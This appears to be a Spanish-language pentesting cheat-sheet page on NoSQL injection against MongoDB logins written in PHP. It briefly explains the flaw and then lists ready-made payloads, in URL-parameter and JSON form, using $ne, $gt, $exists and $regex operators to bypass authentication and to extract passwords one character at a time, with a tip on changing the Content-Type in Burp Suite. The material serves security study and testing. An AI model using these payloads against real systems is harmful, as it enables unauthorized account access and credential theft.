NoSQL Injection

¿Qué es y cómo funciona?

NOSQL Injection es una inyección que se diferencia del SQL Injection convencional en sus vectores de ataque. Estos en vez de ser strings como en el caso de una inyección sql convencional, son en general objetos o arrays ya que los motores NOSQL trabajan, en su gran mayoría con estos.

Estas inyecciones en las cuales por detrás corre MongoDB en la que se basa en colecciones de documentos JSON, así que en vez de trabajar con SQL lo hace con JSON.

Como se vería en una solicitud SQL:

SELECT * FROM tUsers WHERE username = ‘username’ AND password = ‘password’

Como se ve en MongoDB:

$objeto -> find(array( 
 “username” => $_GET[‘username’], 
 “password” => $_GET[‘password’]
)); 

Aquí el problema es que PHP permite pasar objetos al driver de MongoDB sin hacer falta que sean strings. Entonces aquí es donde ocurre la vulnerabilidad NoSQL Injection, podemos pasar un objeto que fuerce una condición true y que provoque el volcado de la colección.

Ejemplo

example.com/auth.php?username=j4ckie&password[$ne]=1

Que la consulta interna sería:

$objeto -> find(array( 
 “username” => «j4ckie»
 “password” => array(«$ne» => 1)
)); 

La consulta que acabamos de ver devuelve las credenciales de todos los usuarios con el nombre y usuario sean distintos de 1, condición que posiblemente cumpla cualquier contraseña. ($ne es no igual)

Authentication bypass

Utilizando <not equal> $ne o <mayor que> $gt

In URL

username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

Con JSON

Recuerda que para hacer la inyección con JSON se tiene que cambiar el tipo de Content-Type de application/x-www-form-urlencoded a application/json en la petición de BurpSuite o la herramienta que utilices para interceptar la petición.

{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

Extraer información

In URL

username[$ne]=j4ckie&password[$regex]=a.{2}
username[$ne]=j4ckie&password[$regex]=b.{2}
----------------------------------------------------
username[$ne]=j4ckie&password[$regex]=m.{2}
username[$ne]=j4ckie&password[$regex]=md.{1}
username[$ne]=j4ckie&password[$regex]=mdp
----------------------------------------------------
username[$ne]=j4ckie&password[$regex]=m.*
username[$ne]=j4ckie&password[$regex]=md.*

Con JSON

Recuerda que para hacer la inyección con JSON se tiene que cambiar el tipo de Content-Type de application/x-www-form-urlencoded a application/json en la petición de BurpSuite o la herramienta que utilices para interceptar la petición.

{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

Herramientas automatizadas

Referencias

Last updated